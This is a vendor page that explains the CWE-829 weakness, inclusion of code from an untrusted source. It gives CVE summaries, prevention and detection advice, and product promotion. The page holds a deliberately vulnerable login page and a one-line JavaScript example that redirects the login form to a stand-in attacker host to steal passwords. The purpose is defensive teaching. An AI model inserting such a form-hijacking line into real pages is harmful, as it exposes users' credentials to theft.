According to SOAR [REF-1479], the following detection techniques may be useful: ``` Cost effective for partial coverage: ``` Bytecode Weakness Analysis - including disassembler + source code weakness analysis
Inclusion of Functionality from Untrusted Control Sphere
This weakness occurs when an application integrates executable code, like a library or plugin, from a source it does not fully control or trust.
What is CWE-829?
Real-world CVEs caused by CWE-829
-
Product does not properly reject DTDs in SOAP messages, which allows remote attackers to read arbitrary files, send HTTP requests to intranet servers, or cause a denial of service.
-
Modification of assumed-immutable configuration variable in include file allows file inclusion via direct request.
-
Modification of assumed-immutable configuration variable in include file allows file inclusion via direct request.
-
Modification of assumed-immutable configuration variable in include file allows file inclusion via direct request.
-
Modification of assumed-immutable configuration variable in include file allows file inclusion via direct request.
-
Modification of assumed-immutable configuration variable in include file allows file inclusion via direct request.
-
Modification of assumed-immutable configuration variable in include file allows file inclusion via direct request.
-
Modification of assumed-immutable variable in configuration script leads to file inclusion.
Step-by-step attacker path
- 1
This login webpage includes a weather widget from an external website:
- 2
This webpage is now only as secure as the external domain it is including functionality from. If an attacker compromised the external domain and could add malicious scripts to the weatherwidget.js file, the attacker would have complete control, as seen in any XSS weakness (CWE-79).
- 3
For example, user login information could easily be stolen with a single line added to weatherwidget.js:
- 4
This line of javascript changes the login form's original action target from the original website to an attack site. As a result, if a user attempts to login their username and password will be sent directly to the attack site.
Vulnerable HTML
This login webpage includes a weather widget from an external website:
<div class="header"> Welcome!
<div id="loginBox">Please Login:
<form id ="loginForm" name="loginForm" action="login.php" method="post">
Username: <input type="text" name="username" />
<br/>
Password: <input type="password" name="password" />
<input type="submit" value="Login" />
</form>
</div>
<div id="WeatherWidget">
<script type="text/javascript" src="externalDomain.example.com/weatherwidget.js"></script>
</div>
</div> For example, user login information could easily be stolen with a single line added to weatherwidget.js:
```
...Weather widget code....*
document.getElementById('loginForm').action = "ATTACK.example.com/stealPassword.php"; Secure pseudo
// Validate, sanitize, or use a safe API before reaching the sink.
function handleRequest(input) {
const safe = validateAndEscape(input);
return executeWithGuards(safe);
} How to prevent CWE-829
- Architecture and Design Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid [REF-1482].
- Architecture and Design When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs. For example, ID 1 could map to "inbox.txt" and ID 2 could map to "profile.txt". Features such as the ESAPI AccessReferenceMap [REF-45] provide this capability.
- Architecture and Design For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.
- Architecture and Design / Operation Run the code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which files can be accessed in a particular directory or which commands can be executed by the software. OS-level examples include the Unix chroot jail, AppArmor, and SELinux. In general, managed code may provide some protection. For example, java.io.FilePermission in the Java SecurityManager allows the software to specify restrictions on file operations. This may not be a feasible solution, and it only limits the impact to the operating system; the rest of the application may still be subject to compromise. Be careful to avoid CWE-243 and other weaknesses related to jails.
- Architecture and Design / Operation Run your code using the lowest privileges that are required to accomplish the necessary tasks [REF-76]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.
- Implementation Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright. When validating filenames, use stringent allowlists that limit the character set to be used. If feasible, only allow a single "." character in the filename to avoid weaknesses such as CWE-23, and exclude directory separators such as "/" to avoid CWE-36. Use a list of allowable file extensions, which will help to avoid CWE-434. Do not rely exclusively on a filtering mechanism that removes potentially dangerous characters. This is equivalent to a denylist, which may be incomplete (CWE-184). For example, filtering "/" is insufficient protection if the filesystem also supports the use of "\" as a directory separator. Another possible error could occur when the filtering is applied in a way that still produces dangerous data (CWE-182). For example, if "../" sequences are removed from the ".../...//" string in a sequential fashion, two instances of "../" would be removed from the original string, but the remaining characters would still form the "../" string.
- Architecture and Design / Operation Store library, include, and utility files outside of the web document root, if possible. Otherwise, store them in a separate directory and use the web server's access control capabilities to prevent attackers from directly requesting them. One common practice is to define a fixed constant in each calling program, then check for the existence of the constant in the library/include file; if the constant does not exist, then the file was directly requested, and it can exit immediately. This significantly reduces the chance of an attacker being able to bypass any protection mechanisms that are in the base program but not in the include files. It will also reduce the attack surface.
- Architecture and Design / Implementation Understand all the potential areas where untrusted inputs can enter your software: parameters or arguments, cookies, anything read from the network, environment variables, reverse DNS lookups, query results, request headers, URL components, e-mail, files, filenames, databases, and any external systems that provide data to the application. Remember that such inputs may be obtained indirectly through API calls. Many file inclusion problems occur because the programmer assumed that certain inputs could not be modified, especially for cookies and URL components.
How to detect CWE-829
According to SOAR [REF-1479], the following detection techniques may be useful: ``` Cost effective for partial coverage: ``` Binary / Bytecode disassembler - then use manual analysis for vulnerabilities & anomalies
According to SOAR [REF-1479], the following detection techniques may be useful: ``` Cost effective for partial coverage: ``` Forced Path Execution Monitored Virtual Environment - run potentially malicious code in sandbox / wrapper / virtual machine, see if it does anything suspicious
According to SOAR [REF-1479], the following detection techniques may be useful: ``` Highly cost effective: ``` Manual Source Code Review (not inspections) ``` Cost effective for partial coverage: ``` Focused Manual Spotcheck - Focused manual analysis of source
According to SOAR [REF-1479], the following detection techniques may be useful: ``` Cost effective for partial coverage: ``` Source code Weakness Analyzer Context-configured Source Code Weakness Analyzer
According to SOAR [REF-1479], the following detection techniques may be useful: ``` Highly cost effective: ``` Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.) Formal Methods / Correct-By-Construction ``` Cost effective for partial coverage: ``` Attack Modeling
Plexicus auto-detects CWE-829 and opens a fix PR in under 60 seconds.
Codex Remedium scans every commit, identifies this exact weakness, and ships a reviewer-ready pull request with the patch. No tickets. No hand-offs.
Frequently asked questions
What is CWE-829?
This weakness occurs when an application integrates executable code, like a library or plugin, from a source it does not fully control or trust.
How serious is CWE-829?
MITRE has not published a likelihood-of-exploit rating for this weakness. Treat it as medium-impact until your threat model proves otherwise.
What languages or platforms are affected by CWE-829?
MITRE has not specified affected platforms for this CWE — it can apply across most application stacks.
How can I prevent CWE-829?
Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid [REF-1482]. When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs. For example, ID 1 could map to "inbox.txt" and ID 2 could map to "profile.txt". Features such as the ESAPI AccessReferenceMap…
How does Plexicus detect and fix CWE-829?
Plexicus's SAST engine matches the data-flow signature for CWE-829 on every commit. When a match is found, our Codex Remedium agent opens a fix PR with the corrected code, tests, and a one-line summary for the reviewer.
Where can I learn more about CWE-829?
MITRE publishes the canonical definition at https://cwe.mitre.org/data/definitions/829.html. You can also reference OWASP and NIST documentation for adjacent guidance.
Weaknesses related to CWE-829
Incorrect Resource Transfer Between Spheres
This vulnerability occurs when an application incorrectly moves or shares a resource (like data, permissions, or functionality) between…
Exposure of Sensitive Information during Transient Execution
Transient execution vulnerabilities occur when a processor speculatively runs operations that don't officially commit, potentially leaking…
Improper Removal of Sensitive Information Before Storage or Transfer
This vulnerability occurs when an application stores or transmits a resource containing sensitive data without properly cleaning it first,…
Creation of chroot Jail Without Changing Working Directory
This vulnerability occurs when a program creates a chroot jail but fails to change its current working directory afterward. Because the…
Unrestricted Upload of File with Dangerous Type
This vulnerability occurs when an application accepts file uploads without properly restricting the file types, allowing attackers to…
Download of Code Without Integrity Check
This vulnerability occurs when an application fetches and runs code from an external source—like a remote server or CDN—without properly…
Reliance on Cookies without Validation and Integrity Checking
This vulnerability occurs when an application uses cookies to make security decisions—like granting access or changing settings—but fails…
Improper Control of Document Type Definition
This vulnerability occurs when an application fails to properly restrict which Document Type Definitions (DTDs) can be referenced during…
Inclusion of Web Functionality from an Untrusted Source
This vulnerability occurs when a web application directly imports and executes functionality, like a widget or script, from an external,…
Further reading
- MITRE — official CWE-829 https://cwe.mitre.org/data/definitions/829.html
- OWASP Enterprise Security API (ESAPI) Project https://owasp.org/www-project-enterprise-security-api/
- Least Privilege https://web.archive.org/web/20211209014121/https://www.cisa.gov/uscert/bsi/articles/knowledge/principles/least-privilege
- State-of-the-Art Resources (SOAR) for Software Vulnerability Detection, Test, and Evaluation https://www.ida.org/-/media/feature/publications/s/st/stateoftheart-resources-soar-for-software-vulnerability-detection-test-and-evaluation/p-5061.ashx
- D3FEND: Application Layer Firewall https://d3fend.mitre.org/dao/artifact/d3f:ApplicationLayerFirewall/
- D3FEND: D3-TL Trusted Library https://d3fend.mitre.org/technique/d3f:TrustedLibrary/
Don't Let Security
Weigh You Down.
Stop choosing between AI velocity and security debt. Plexicus is the only platform that runs Vibe Coding Security and ASPM in parallel — one workflow, every codebase.